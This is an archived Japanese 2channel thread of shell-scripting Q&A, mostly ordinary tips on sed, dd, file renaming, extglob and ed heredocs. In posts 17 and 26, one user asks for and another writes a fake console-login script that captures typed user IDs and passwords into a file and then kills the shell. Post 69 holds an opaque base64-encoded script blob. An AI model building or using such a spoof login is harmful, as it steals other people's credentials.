5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

シェルスクリプト総合 その1

1 :前スレ950:04/11/30 22:17:26
シェルスクリプトの総合スレです。
スクリプトのお勉強・自慢・腕試しなどにどうぞ。

まずは注意点、リンク、地鎮祭など(>>1-10くらい)をご覧ください。

□前スレ:
☆シェルスクリプトを勉強するにあたって☆
http://pc5.2ch.net/test/read.cgi/unix/989659936/

便利なシェルスクリプト見せろ
http://pc5.2ch.net/test/read.cgi/unix/996949546/

□関連スレ:
【貝】第1回シェル講座【殻】
http://fun.kz/test/read.cgi/unix/1016372780/ (過去ログ)

おまえら! shell は何を使っているんですか?
http://pc5.2ch.net/test/read.cgi/unix/1012330865/

□みんなのお約束:
・特記なき場合はbourne shがデフォルトです。
 bash/csh/zsh/kshなどに依存する場合は明示しましょう。
 Linuxユーザは/bin/shの正体がbashなので特に注意。

・UNIXにはシェルスクリプトに便利な小さなコマンドがいろいろあります。
 manを見ましょう。
 aproposないしはman -kでそれらしい単語による簡単な検索もできます。
 シェルの構文や内部コマンドはman shで。

・シェルスクリプトのことをシェルってゆーな


2 :1:04/11/30 22:18:09
□参考リンク:
Bourne Shell自習テキスト
http://www.tsden.org/takamiti/shText/shText.html

シェルを使おう
http://www.netfort.gr.jp/~tomokuni/lms/shell/text/

/bin/shプログラミング入門
http://freebooks.info.nara-k.ac.jp/archive/ShellProgramming/

なぜcshでプログラムを書くのが良くないのか
http://www.klab.ee.utsunomiya-u.ac.jp/~hiroki/csh-whynot.euc

UNIX FAQ (ただし翻訳はいささか古いです)
http://www.nurs.or.jp/~asada/FAQ/UNIX/UNIX.FAQ.html

UNIX Programming FAQ (シグナルとか使うときは参考になるかも)
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_toc.html

UNIX関係FAQ色々(英語です。UNIX FAQの最新版もあり)
http://www.faqs.org/faqs/unix-faq/

UNIX系各種OSのman page検索
http://www.freebsd.org/cgi/man.cgi

POSIX: Shell & Utilities (標準規格)
http://www.opengroup.org/onlinepubs/009695399/utilities/contents.html

UNIXの部屋 (沢山のコマンドの簡単な紹介など)
http://x68000.q-e-d.net/~68user/unix/


3 :1:04/11/30 22:18:28
□おすすめ書籍:
プロフェショナルシェルプログラミング
http://www.amazon.co.jp/exec/obidos/ASIN/4756116329/

入門UNIXシェルプログラミング―シェルの基礎から学ぶUNIXの世界
http://www.amazon.co.jp/exec/obidos/ASIN/4797321946/

UNIXシェルプログラミング徹底解説
http://www.amazon.co.jp/exec/obidos/ASIN/4822280489/

入門Kornシェル
http://www.amazon.co.jp/exec/obidos/ASIN/4873110149/

入門bash
http://www.amazon.co.jp/exec/obidos/ASIN/4900900788/


□初心者へのアドバイス:
・ここにあがっているような書籍を読んで基本を理解したら、
 /etc/rcなどの実際に使われているスクリプトを読もう。
 (※Linuxのinitとかはbashゴリゴリなので最悪との指摘もあり)
 あと、リダイレクトや引数の扱い(echo * の意味など)を完全に理解しよう。

・適した道具を判断するのも頭の重要な使い方。シェルスクリプトよりも
 RubyやPerlの方が適した仕事には素直にそちらを使いましょう。

・知らないコマンドが出てきたらmanを引きましょう。

・思い通りに動かないときは、まずは sh -x でトレースしましょう。


4 :1:04/11/30 22:19:00
□シェルスクリプトでよく使うコマンド:
制御・条件判定系:
[とtest, expr, true, false, yes, getopts, apply

テキスト処理系:
cat, awk, sed, tr, sort, uniq, grep, wc, head, tail, cut, paste, comm, join

ファイル名・ディレクトリ系:
find, xargs, basename, dirname

出力系:
echo, printf

対話コマンド制御系:
expect, でも単にftpしたい奴は素直にwget使っとけ


5 :1:04/11/30 22:19:39
あ〜緊張した。なんとか立てられてよかったです。

それではまたーり参りましょう。


6 :名無しさん@お腹いっぱい。:04/11/30 23:12:37
>>1 スレ立て乙です。
次はこれも入れるといいかも。わたしは自習テキストとこれで勉強しました。

「誰にでも」シリーズ
http://kanji.zinbun.kyoto-u.ac.jp/~yasuoka/publications/dareUni/

7 :名無しさん@お腹いっぱい。:04/11/30 23:15:10
ちょっと古いし入手難だがUNIXプログラミング環境も読みたいところ
フィルタプログラミングがわかればシェルスクリプトの心もわかる
http://www.amazon.co.jp/exec/obidos/ASIN/4871483517/

8 :1:04/11/30 23:24:22
前スレでテンプレの相談したときにおっしゃって下さい (´・ω・`)
ま、テンプレは網羅することが目的ではないので……


9 :名無しさん@お腹いっぱい。:04/11/30 23:45:50
>>1
ハイパー乙

10 :名無しさん@お腹いっぱい。:04/11/30 23:52:16
サンプルがたくさん置いてあるところは無いかと検索すると
ここがやけにひっかかりますが、どうなんでしょうかね

Wicked Cool Shell Scripts: The Library
http://www.intuitive.com/wicked/wicked-cool-shell-script-library.shtml

11 :名無しさん@お腹いっぱい。:04/12/01 00:11:27
>>7
名著だけど、今からシェルやらなきゃって人に
最初に勧める本ではないと思う

多少書けるようになった頃に読むと卓効、という感じ

12 :名無しさん@お腹いっぱい。:04/12/01 00:22:15
>>1
Z(・∀・)イイ!!

13 :名無しさん@お腹いっぱい。:04/12/01 00:22:26
>>1
乙です!
タイトルもシンプルでいいと思います。

14 :名無しさん@お腹いっぱい。:04/12/01 00:27:20
久々に良い>>1のスレだ

お疲れ様


15 :名無しさん@お腹いっぱい。:04/12/01 00:36:15
>>8
>>11も言ってるようにやっぱり古すぎるし、
テンプレに入れるほどでないので、テンプレ外でひっそり書いてみた。
次回もテンプレからはずしておいてくれ。

16 :名無しさん@お腹いっぱい。:04/12/01 00:37:45
>>1
乙!

17 :名無しさん@お腹いっぱい。:04/12/01 01:26:12
質問です。偽コンソールログインを洒落で作っておりますUNIXユーザ1年生です。使用shはcshです。
コンソールログインの画面みたいな状態にして、
login: <-ここの行に入力を行い、
passwd: <-ここは入力しても画面には出力しないであたかも本当にパスワード入力画面みたい
んな感じで、エンターすると
You are an ideot.hahaha by 俺
って表示して自分のログインシェルを強制killして、騙された人のidとpassをゲットするというのが夢です。
で、考えてみたのが下です。

#!/usr/bin/csh -f
clear
banner 'logout'

echo 'console login'
set ID=$<
echo $ID >> $HOME/list
echo '$ID password:'
set PASS=$<
echo $PASS >> $HOME/list
sleep 1
echo "You are an ideot.hahaha by ore"
sleep 1
set END='ps auwx |grep 私のID|grep tcsh|awk "{print $2}"|sort|head -n 1'
kill -9 $END

コレですと、loginをechoしたあと自動的に改行してしまうのがまず悩みです。
また、入力した変数$IDの中身もecho表示できない、HOMEのlistに文字が送られてなかった、自分のプロセスを自動的に
消して強制ログアウトしてくれない、という悩みつきです。最期のset END=.....killまでは、logoutでいいかなぁと思ってます。
教えてクンで申し訳ないです。よろしくお願いします。
あと、決して好きな子のパスをゲットしようとか企んではいません。ごくごく健全な大学1年です。なにとぞ。

18 :名無しさん@お腹いっぱい。:04/12/01 01:29:31
あと、前期で初めて作ったシェルスクリプトですが、殆どどこかのサイトにあったソースのパクリですが、厨らしくて
よろしいと思ったので晒します。

#! /usr/bin/csh -f
echo 'へいらっしゃい!'
sleep 1
echo 'ラーメンの待ち時間は? 1:3分、2:4分、3:5分'

set t=$<

if ($t == 1) then
echo "$t 番を選択したよ。3分まっててね"
sleep 170 && perl -e 'print "\x07"; print "カップラーメンできますた\n"'
exit(1)
else

if ($t == 2) then
echo "$t 番を選択したよ。4分まっててね"
sleep 230 && perl -e 'print "\x07"; print "カップラーメンできますた\n"'
exit(1)
else

if($t == 3)then
echo "$t 番を選択したよ。5分まっててね"
sleep 290 && perl -e 'print "\x07"; print "赤いきつねできますた\n"'


endif

スレ汚しすみませんでした。精進します。

19 :名無しさん@お腹いっぱい。:04/12/01 01:33:06
>>17
専門学校?

20 :名無しさん@お腹いっぱい。:04/12/01 01:35:03
宿題 ?

21 :名無しさん@お腹いっぱい。:04/12/01 01:35:08
>>17

そんなレベルです。将来はCadenceで回路図カリカリ作る学部です。

22 :17:04/12/01 01:36:02
まちがえました>>19 でした。


>>20

ちゃいます。シェルを勉強する授業なんてなかとです。

23 :17:04/12/01 01:54:36
夢はRuby使う生活ですな。寝ます。失礼しました。

24 :名無しさん@お腹いっぱい。:04/12/01 02:04:11
新スレ立って一発目がideotか。

25 :名無しさん@お腹いっぱい。:04/12/01 02:16:06
>>17 じゃないけど
ncftp などにパスワードをわたすとき
read pass; ncftpput -p $pass
ってなことをするために,
パスワードをエコーバックしないように
できないものかと思ったら,
ググったらすぐわかった.


26 :名無しさん@お腹いっぱい。:04/12/01 11:30:07
>>17 cshは分からないのでshで。

#!/usr/bin/env bash
clear
banner 'logout'

echo -n 'login: '
read ID
echo ID=$ID >> $HOME/list
echo -n 'password: '
stty -echo
read PASS
echo
echo PASS=$PASS >> $HOME/list
sleep 1
echo "You are an ideot.hahaha by ore"
sleep 1
kill -9 $PPID

27 :名無しさん@お腹いっぱい。:04/12/01 20:59:37
>#!/usr/bin/env bash

あんまりないと思うけど、複数の場所に bash がインストールされてる場合、
$PATH によってどれが使われるのか不定。
ruby の人がよく使ってるけど、あんまりよろしくないと思う。

28 :名無しさん@お腹いっぱい。:04/12/01 21:04:15
#!/usr/bin/env 〜 だとbashとかのパスを調べる必要がないようにという
つもりだろうけど、本来はインストールスクリプトで固定すべきものを
サボっているだけだと思う。

環境変数によって挙動が変わるとか、スクリプトはPATHの中にあるのに
rubyやらbashやらpythonやらにPATHが通ってないと動かないというのは
あまりよくない。


29 :名無しさん@お腹いっぱい。:04/12/01 21:07:03
そもそも"shで、"と書いてあるのにbashなのは

30 :名無しさん@お腹いっぱい。:04/12/01 21:13:48
別途犬板にbashスクリプトのスレを立てると
事がなにかとスムーズに運ぶのかも。

31 :1:04/12/01 21:23:32
>>30
ぜひ誰か立ててください。
実は関連スレに載せようと思ってテンプレ作ってるときに探したんですが、
見つからなくて諦めたんです。


32 :名無しさん@お腹いっぱい。:04/12/01 21:33:20
犬板にスレ立ててレベルの差別化を図った結果、
あちらのほうが情報量が多くなるのが最近の傾向

33 :26:04/12/01 21:37:57
>>27
/bin/bashと書くとlinuxがどうのこうのと言われると思ったので。
>>29
すまん。shで書こうと思ったら、$PPIDがshにはなかった。

34 :1:04/12/01 21:45:36
>>32
お互いにS/N比の向上(sh/bashの棲み分けや、煽りとかの削減含む)が望めれば、
あちらのスレが発展するのはこちらにとっても結構なことではないでしょうか。
副作用としてどういうレベルの人たちに最適化されるかという違いができるかも
知れませんけど。


35 :名無しさん@お腹いっぱい。:04/12/01 23:35:28
両方見るのめんどくない?

36 :名無しさん@お腹いっぱい。:04/12/01 23:44:53
向こうを見るつもりあるの? 俺はない。
こっちがまったりのんびりいけるようになれば万々歳。



37 :名無しさん@お腹いっぱい。:04/12/01 23:50:11
いっそのこと、これからスレは全部 linux 板に立てることにしようよ。

38 :名無しさん@お腹いっぱい。:04/12/01 23:59:11
Linux板にはへんなスレがあるよ。
新しく立てたほうがいいかもしれないけど。

【Shell】どのシェル使ってる?【Script】
http://pc5.2ch.net/test/read.cgi/linux/1067330754/l50
1 :login:Penguin :03/10/28 17:45 ID:DZdBw1H1
おまいらが使ってるShellを晒せや(#゚Д゚)ゴルァ!!
そして便利なShell Scriptがあれば晒して( ゚Д゚)ホスィ…
GUI Shellも使ってる香具師はそいつも晒せ(゚∀゚)アヒャヒャ

39 :名無しさん@お腹いっぱい。:04/12/02 01:11:37
>>26

ありがとうございます。むちゃくちゃ勉強になりました。
上は自分とこのワークステーションに入っているbashのパスを入れます。
read と echo の使い方が特に勉強になりました。
bourne again shell のほうが書きやすいのでせうか。。。うちはCやってるからtcshの方が趣味としてはいいかなと思ったのですが。

>>25
昨日の夜
エコーバックしないやり方を>>25のレスみてから調べてたんですが、自分には分かりませんでした。
むずかすい。

40 :名無しさん@お腹いっぱい。:04/12/02 02:03:32
>>39
最後のkill $PPIDは洒落だろうから普通の/bin/shでいいっしょ。


41 :名無しさん@お腹いっぱい。:04/12/02 08:16:43
>>39
>>26もエコーバックしないぞ。それと、スクリプトで(t)cshはよくない

なぜcshでプログラムを書くのが良くないのか
http://www.klab.ee.utsunomiya-u.ac.jp/~hiroki/csh-whynot.euc

42 :名無しさん@お腹いっぱい。:04/12/02 08:22:20
うちの客先、oracleDBAユーザのログインシェルがcshになってて、スクリプト自体もcsh。_| ̄|○

43 :名無しさん@お腹いっぱい。:04/12/02 10:29:10
ヒアドキュメントを与えてshを呼んでしまえ


44 :名無しさん@お腹いっぱい。:04/12/04 20:59:45
four varieties of parameter expansion/substring processing.
どの説明みても、わけがわからなかった。

>>2のリンクにある
POSIX規格の頁のサンプルをみて、やっとわかた。
ttp://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_02_01


#!/bin/sh
DIR=curdir/some/where/down/deep/deeper/bottom

echo ${DIR##*/}
echo ${DIR#*/}

echo ${DIR%%/*}
echo ${DIR%/*}

45 :名無しさん@お腹いっぱい。:04/12/05 20:30:08
1Gくらいのでかいバイナリの任意のバイトを書き換えるにはどのコマンド使えばいいんですかね?
エディタで開こうとしても無理っぽいのでどうしたものかと


46 :名無しさん@お腹いっぱい。:04/12/05 20:56:42
dd

47 :名無しさん@お腹いっぱい。:04/12/05 21:06:48
私ならmmapして直接書き換えるプログラムを書いてしまう。
と思いつつなにげにコマンドラインでmmap[TAB]とか叩いてみると、
知らんうちにmmapwとかいうコマンドが入ってたw

% mmapw -h

mmapw [-{bwlqL}] <file> <offset> <value>

endianness flags:

-b write one byte
-w write two aligned bytes
-l write four aligned bytes (default)
-q write eight aligned bytes
-L same as -l

xorg-serverについてきたらしい(FreeBSD)。
バイトオーダーも指定できるといいのにな。
-Eでbig endian, -eでlittle endianとか。


48 :名無しさん@お腹いっぱい。:04/12/05 23:57:01
splitで編集できる大きさにバラせばいいのでは。

49 :名無しさん@お腹いっぱい。:04/12/06 00:25:08
それをすすめると、ddで必要な部分だけ取り出せばいいのでは、ってことですね。


50 :名無しさん@お腹いっぱい。:04/12/06 14:40:03
[じっけんしてみよう: ddでひつようなぶぶんをとりだす]
$ ed
a
あいうえお
かきくけこ
さしすせそ
.
w 001.txt
33
! dd if=001.txt of=002.txt bs=1 count=2 skip=15
読み込んだブロック数は 2+0
書き込んだブロック数は 2+0
2 bytes transferred in 0.023819 seconds (84 bytes/sec)
!
! cat 002.txt
く!
q

51 :名無しさん@お腹いっぱい。:04/12/06 22:40:18
[じっけんしてみよう: heredocをつかう]

---きりとりせん----
#!/bin/sh
echo "[のりしろ]"
ed << EOF
a
あいうえお
かきくけこ
さしすっせそ
.
w 001.txt
!dd if=001.txt of=002.txt bs=1 count=2 skip=15
!cat 002.txt
q
EOF
echo "[のりしろ]"
----きりとりせん----

52 :名無しさん@お腹いっぱい。:04/12/14 13:14:27
少し前にくだ質で出てたsourceで現在読んでるファイルのフルパスを知る方法って、
bashとか、シェルによっては特殊な方法が用意されていたりしますかね?

かなり無理矢理な方法としては、ファイルごとにユニークなキーを
magic=GYUUNYUUDAYOMON
みたいに埋め込んでおいて、lsofで開いてるファイルを調べて片端から$magicで
grepして引っ掛かったのがアタリ、というのを思い付いた。


53 :名無しさん@お腹いっぱい。:04/12/14 18:31:41
元ネタを知らないから現在読んでるファイルのフルパスって意味がわからないんだけど、
FreeBSD なら /proc/PID/file
Linux なら /proc/PID/exe
とかいうこと?

54 :名無しさん@お腹いっぱい。:04/12/14 19:00:07
>>53
そう。

55 :名無しさん@お腹いっぱい。:04/12/14 19:00:39
cat /proc/$$/exe

56 :名無しさん@お腹いっぱい。:04/12/14 19:33:28
>>54
元ネタ知らんが、おれは>>52から、

. foo.sh

した先の foo.sh の中で、自分が foo.sh かどうかを知りたいんだと
解釈したんだが、ちがうのか?

57 :名無しさん@お腹いっぱい。:04/12/14 20:07:27
>>52
元ネタしらないけど。

history | tail -n 1 とかやって
pwd と組み合わせれば、フルパスの取得も可能かも。

58 :名無しさん@お腹いっぱい。:04/12/14 20:14:26
元ネタ知ってるけど
http://pc5.2ch.net/test/read.cgi/unix/1101159381/507
最後まで{何故,何を}したいのか分からなかった。

エスパー解釈だと `dirname $0` かとも思うんだけど。


59 :名無しさん@お腹いっぱい。:04/12/14 20:18:45
百者百様の解釈ですな。。。

60 :56:04/12/14 21:35:44
>>58
> http://pc5.2ch.net/test/read.cgi/unix/1101159381/507
おれの解釈が違っていたことがわかったが、
sourceという単語を使った>>52がアホだということもわかった

61 :名無しさん@お腹いっぱい。:04/12/14 21:56:57
すげえ、読み進めるほど訳が判らなくなる…(w

62 :名無しさん@お腹いっぱい。:04/12/14 21:59:55
>>56
いや、元質問者自体が途中から
>hoge?.shでは. ./base.sh として設定を読み込んでいます。
とか言ってるので、それをベースにすると>>52>>56も間違っていない。


63 :56:04/12/15 00:32:15
そうだったのか
アホよばわりして正直すまんかった>>52
フシアナと呼んでくれ

64 :52:04/12/15 16:19:00
zshだと知る術が用意されているようです。
setopt FUNCTION_ARGZEROした上で$0を参照すればいいらしい。

0 <S> The name used to invoke the current shell. If the FUNC-
TION_ARGZERO option is set, this is set temporarily within a
shell function to the name of the function, and within a sourced
script to the name of the script.


65 :名無しさん@お腹いっぱい。:04/12/15 16:59:24
52=元質問者?

66 :52:04/12/15 17:18:20
ちゃいますよ。
私が元ネタの質問者ならあそこまでグダグダにはならんw
元質問者がlsof知ってるとも思えんし。


67 :名無しさん@お腹いっぱい。:04/12/15 18:17:36
で、>>64の方法でフルパスは取得できたのか?

68 :名無しさん@お腹いっぱい。:04/12/15 20:39:28
通常の$0と同じだろ。単独でフルパスになる必要はないと思われ。



69 :名無しさん@お腹いっぱい。:04/12/24 04:11:16
気がついたら、こんなスクリプトが・・・。
だれかデバグきぼんぬ。

----BEGIN BASE64----(upkenget.sh.bz2)
QlpoOTFBWSZTWYLwQcEAAGHfgEAwf/f/Gj9v3o9////+QAHdktVlEFCHpAA00A2o
NDNQAAADI9QANRoTQGgRkZJk9TGoAHqBoGTQPSNDIcZMmhiMTRgEYCYQBgJpo0yN
AMMSQm1TNNJgRo9Rk09TTIaGgyMgaaABo4lyzxZ7kGXtpZNGh4DZByUJBM9gvbcg
gnQFMl+lgS4gd6n9sNrPAI4jhGnyzb+qh9b3qV1+Z8Qy+cUTV+iqArZ4zSTuZ9GZ
wuXGu+jCia+2DIG2Oc6qEqPFJ2z8ml7j5yPDXNLeydZ1CF4A/AjKFfwG+cdswxMm
AYooMyWTZzQZYDgFWgMWHLeqSiClGI6lAMB0I2kBvZA5wDFETsVSXqJ9NfNt2U7P
0QMQgYPFFVnw1ZItdN7OSGJqOSRhy6JtDzRALEuVj4mS3cQFiW4zZcw0SUz4DhMa
+LhvEHwAtBwIXTKqIoQ+gg8S5v1qHUpFlo9AoQXULgyFCkWtCJT5TvGecgEeUBxA
jcaDYMQlBF4gFrUfzTbB5Lg1yOgOz6pgDulpgfsB0lErLMAyCDJEB7g2IBQ6qA5D
HKr9CxdUTpl6RuneZYGsTNYlQslJFkoukm1k0ImArCEUaVCqC+sdVQbix6nnxl3Z
RVBt1xRUIurFtWY7toBmjIYNMK8KN4SERAxuiHG5Iyuo4X0bYLYWBldddwUBQdNW
3uHmxSEZqmrXSkzx3H2YzmmpOHRutiRzJIROe1g2jqsCnDGJK0KeKaF2RXIGU4H7
Eb/yl/i7kinChIQXgg4I
----END BASE64----


70 :名無しさん@お腹いっぱい。:04/12/24 04:52:30
>>69 ですが、最後に wget を呼び出している行で \ の後に \x20 が入ってるので、
そいつを消してください。

71 :名無しさん@お腹いっぱい。:04/12/24 04:54:46
こんなスクリプトも気がついたら手元にありますた。
情報を集約する意味で、リンク貼っておきます。

PukiWikiスレ Part1 / 515 cvssync.sh
http://pc5.2ch.net/test/read.cgi/php/1084907353/515-

72 :名無しさん@お腹いっぱい。:04/12/24 14:17:58
$ mv *.txt *.doc

なスクリプト無いですか?どうも上手い方法が無くて困ってます。汎用性のある
シェルスクリプト誰か書いてませんか?



73 :名無しさん@お腹いっぱい。:04/12/24 14:27:09
for f in *.txt; do
mv $f `basename $f .txt`.doc
done

そんなのでいちいちスクリプト書かない。


74 :名無しさん@お腹いっぱい。:04/12/24 14:27:10
$ mv *.txt *.doc
usage: mv [-f | -i | -n] [-v] source target
mv [-f | -i | -n] [-v] source ... directory


75 :./chsuff.sh txt doc:04/12/24 14:32:18
#!/bin/sh

for file in *.$1
do
 mv $file ${file%.$1}.$2
done

76 :名無しさん@お腹いっぱい。:04/12/24 14:32:31
>>72

$ cat rename.sh
#!/bin/sh
ls *.$1 | sed "s/\(..*\)\.$1/mv & \1.$2/" | sh

リネームしたいファイルがあるディレクトリに cd して
$ rename.sh txt doc


77 :名無しさん@お腹いっぱい。:04/12/24 14:53:16
>>72
autoload zmv
zmv '(*).c' '$1.h'
alias mv='noglob zmv -W'

78 :72:04/12/24 18:16:57
皆さんどうもありがとうございま下。私はlinux||cygwinでbashなのでzshとか
ワカラ無いのですが参考になりました。
一応、こunixuserの新山センセのsedっぽいパターンマッチを使うコマンド
formv.shを使って解決していたのですが、もっとスマートな方法無いかと。

formv.sh
------
#!/usr/bin/bash
if [ $# -lt 2 ]; then
 echo 'usage: formv "s/pattern/pattern/" filename(regexp)'
 exit 1
fi
s=$1;shift
for i in $*; do
 j=`echo "$i" | sed "$s"`
 echo $i "->" $j
 mv $i $j
done
-------
$ formv 's/txt/doc' *.txt
$ formv 's/merry_crithmas/aho!/' *.txt;


79 :名無しさん@お腹いっぱい。:04/12/24 18:27:27
変更してないならbashだろう。echo $SHELLで確かめれる。

80 :名無しさん@お腹いっぱい。:04/12/24 19:37:09
うちの linux には rename(1) がある

81 :名無しさん@お腹いっぱい。:04/12/24 22:21:35
ファイル名が数字のファイルのみ表示したいのですが、
良い方法がありませんでしょうか?

$ ls
hoge 645 b7a 7ba

となるディレクトリで

$ コマンド
645

としたいのです。perlを使うってのは無しで

82 :名無しさん@お腹いっぱい。:04/12/24 22:37:38
/bin/ls -1 | egrep '^[0-9]+$' | xargs echo

1行1列にしたければxargs echoはなしで。


83 :名無しさん@お腹いっぱい。:04/12/24 23:50:58
zsh なら
ls <->

84 :名無しさん@お腹いっぱい。:04/12/26 13:36:19
$ echo $BASH_VERSION
2.05b.0(1)-release
$ shopt -s extglob
$ mkdir foo
$ touch foo/{hoge,645,b7a,7ba}
$ ls foo/+([0-9])
foo/645
$

85 :81:04/12/28 17:09:50
ありがとう

84さんの方法だけうまくいきませんでした。
$ echo $BASH_VERSION
3.00.14(1)-release

なのでバージョンの違いなのかな。

86 :名無しさん@お腹いっぱい。:04/12/28 20:01:14
$ /usr/local/bin/bash
$ echo $BASH_VERSION
3.00.16(1)-release
$ shopt -s extglob
$ mkdir foo
$ touch foo/{hoge,645,b7a,7ba}
$ ls foo/+([0-9])
foo/645


87 :名無しさん@お腹いっぱい。:04/12/28 22:00:14
>>85
shopt -s extglobが肝だよ

88 :名無しさん@お腹いっぱい。:05/01/08 23:25:03
...なるほど

#!/bin/bash
shopt -s extglob #肝
ARGUMENTS=`ls`;
proc_args() {
while :; do
case $1 in
+([0-9]))
echo $1;
;;
"")
return;
;;
esac
shift;
done
}
proc_args ${ARGUMENTS};

89 : :05/01/11 16:56:22
☆シェルスクリプトを勉強するにあたって☆
http://makimo.to/2ch/pc5_unix/989/989659936.html
便利なシェルスクリプト見せろ
http://makimo.to/2ch/pc5_unix/996/996949546.html

90 :名無しさん@お腹いっぱい。:05/01/13 02:23:12
c shellスクリプトで配列の(部分的)コピーをする方法はありますか?
できるだけ一時ファイルを使わず、メモリ上で配列をコピーする方法です。

いま、set arr0 = (abc def ghi jkl mno pqr)とすると、
$arr0[1], $arr0[3], $arr0[5]を配列 arr1 に格納するのは可能ですか?



91 :名無しさん@お腹いっぱい。:05/01/13 05:15:37
したいことがよくわかんないけど
set arr1 = ( $arr0[1] $arr0[3] $arr0[5] )
じゃダメなん?


92 :名無しさん@お腹いっぱい。:05/01/13 06:10:42
どの要素をコピーするかは、条件によって変わってくるんで、
インデックスを使いたいんです。動的コピーしたいという事です。


93 :名無しさん@お腹いっぱい。:05/01/13 08:04:48
条件によって一個ずつ取り出して、一個ずつ格納するようにすれば?

94 :名無しさん@お腹いっぱい。:05/01/13 09:07:04
#/bin/csh
set arr0 = (abc def ghi jkl mno pqr)
set i = 1
set n = $#arr0
foreach x ($arr0)
set a$i = $arr0[$i]
@ i++
end
set j = 1
while ($j <= $n)
echo $a$j
@ j++
echo $j
end
--------------------------ここまで
このようなスクリプトの場合、
$a$j の部分をうまく処理できません。
改善策や、もっとまともなやり方はあるでしょうか?

95 :名無しさん@お腹いっぱい。:05/01/13 09:12:48
eval


96 :名無しさん@お腹いっぱい。:05/01/13 23:04:18
単一ディレクトリ中のファイルをFTP転送するシェルで、
mput *
とすると、巨大なディレクトリでは
Arguments too long
と出てしまいます。

Cシェルがグロブ展開しているようなのですが、何かうまい回避方法はないものでしょうか。

97 :名無しさん@お腹いっぱい。:05/01/13 23:37:41
回避するだけなら先頭文字で適当に分割して何度かやればどうよ。



98 :名無しさん@お腹いっぱい。:05/01/16 21:08:14
シェルで画像展開してサムネイルを表示させるようなことってできますでしょうか・・・?

99 :名無しさん@お腹いっぱい。:05/01/16 21:24:30
>>98
やりたいことをもっと具体的に書け
画像のサムネイルのhtmlファイルを生成するスクリプトなら落ちてるだろ

100 :100:05/01/16 21:25:19
100

101 :名無しさん@お腹いっぱい。:05/01/16 22:38:44
(・∀・)マサムネ!!

102 :名無しさん@お腹いっぱい。:05/01/16 23:40:33
ファイル名の空白文字を _ (アンダーバー)に一括で変更したいんですが,
for i in *.jpg みたいな書き方だと空白の前後で2つに分かれて厄介です。
何かいい方法ないですか?

mv "hoge hoge1.jpg" "hoge_hoge1.jpg"
mv "hoge hoge2.jpg" "hoge_hoge2.jpg"

いつもこんなスクリプトを書いてる(とっても面倒)。

103 :名無しさん@お腹いっぱい。:05/01/17 00:09:00
>>102
手元の bash 2.05.0 では for で 2 つに分かれないんだが,
ls -1 *.jpg | while read a b ってのはどう?

104 :名無しさん@お腹いっぱい。:05/01/17 00:16:08
あはっ

#!/bin/zsh
for i in $*; do
mv -- "${i}" $(sed 's/ /_/g' <<<"${i}")
done


105 :名無しさん@お腹いっぱい。:05/01/17 00:23:54
>>102
for i in *.jpg
do
ls "$i"
done

106 :102:05/01/17 00:39:55
>>103 いいかもしんない。
とにかく思いっきり嘘をつきました。m(..)m
GNU bash, version 2.05b.0(1)-release (i686-pc-cygwin)
>>102 の書き方では2つに分かれないです。
ちなみに for i in `/bin/ls -1` だと2つに割れます。

107 :98:05/01/17 07:54:34
すみません。
例えば、objやpngやepsやらが存在しているフォルダがあって、
そのフォルダでlsをすると、普通のテキストファイルやらはファイル名だけでいいんですが、
画像ファイルに関してはサムネイルをコンソール上で表示したいな、と思いました。

html作ってw3m介して画像インライン表示すれば一応できるわけですね。。。
ありがとうございました。

108 :名無しさん@お腹いっぱい。:05/01/17 08:00:44
gimv等のビュワーを使う方が早いんでないかい


109 :名無しさん@お腹いっぱい。:05/01/17 09:43:28
>>107
xmltermというのでできるぞ。
http://xmlterm.sourceforge.net/

110 :名無しさん@お腹いっぱい。:05/01/17 10:21:55
tcshを使っているのですが、行番号を指定して処理のできるコマンドがあれば、
教えてください。あと、シェルの勉強ができるいいサイトがあればおしえてい
ただけるとありがたいです。


111 :名無しさん@お腹いっぱい。:05/01/17 10:59:48
よくわからんが、ファイルの10行目を編集したいとかいうこと?
それだとedを使って編集コマンドをheredocで与えるのが一般的。
例えばこんな感じで。
#!/bin/sh
# comment out the 10th line of file /omae/mona
ed /omae/mona <<END
10
s/^/#/
w
q
END

サイトは、せっかくテンプレがあるんでまずは見てやってくれ。


112 :110:05/01/17 13:51:37
>>111
わかりにくくてすみません。
自分がやりたいのは例えば指定した複数の行のみで
cutなどを実行したいということなんです。
勉強不足でよくわからないのですが
例は10行目においてwをqに置換するというシェル
ということでいいんでしょうか?


113 :名無しさん@お腹いっぱい。:05/01/17 14:13:54
>>112
行が連続してるなら
tail -20 | head -5 | cut ...
とか?

114 :110:05/01/17 15:35:09
皆さんありがとうございます。目的を達成できました。


115 :名無しさん@お腹いっぱい。:05/01/17 18:48:10
>>112
cat file | head -n 20 | tail -n 5 | cut -f'3-5' | sort

みたいなことかしらん

116 :名無しさん@お腹いっぱい。:05/01/17 18:59:00
>・シェルスクリプトのことをシェルってゆーな

>>1ぐらい読めよ


117 :98:05/01/18 01:03:03
>>108
>>109
情報ありがとうございます。そうですね、簡単にできるなら
あまり大がかりなビューアーとかは使いたくなかったんですが…。
xmltermは初耳!画像表示もほとんどイメージ通りです。
日本語がらみが厳しそうですがちょっと使ってみますね。

118 :名無しさん@お腹いっぱい。:05/01/18 16:04:52
パス付きzipを判定して捨てるスクリプトってないですかね?
gunzip -t パス付き.zip とかやるとencyptファイルどうたらとかいうので
これを使ってできないかなぁと思うのですが・・・。

119 :名無しさん@お腹いっぱい。:05/01/18 16:44:10
少なくとも*.zipとgunzipは関係ないでしょ。


120 :118:05/01/18 17:57:56
>>119
何を以て関係ないと言うのかわからないけど、解凍はできなくていいのです。
いや、むしろしたくないです。
ヘタレなりに考えた結果gunzipで判定基準になるのかなぁと思ってあげました。

別にこの方法にはこだわってはなくて、*.zip(できればパス付き*.lzh,*.gcaにも対応したい)の
ファイルパスが書いてあるtxtから読み込んで、パス付き有無の識別ができて、
パス付きファイルがあったら捨てるってことができればそれでよしです。

121 :名無しさん@お腹いっぱい。:05/01/18 18:12:53
俺は今

hoge.zip のファイルにパスワードが掛かっているかシェルスクリプトで鑑定したいのですが、
いい方法はないでしょうか?

と書くためにこのスレに来た。
ところが118が同じような事を書いている。これはどういうことだろうか?
運命を感じる。明日はいい日に違いない。

122 :名無しさん@お腹いっぱい。:05/01/18 18:23:02
>>120
フォーマット解析したら?

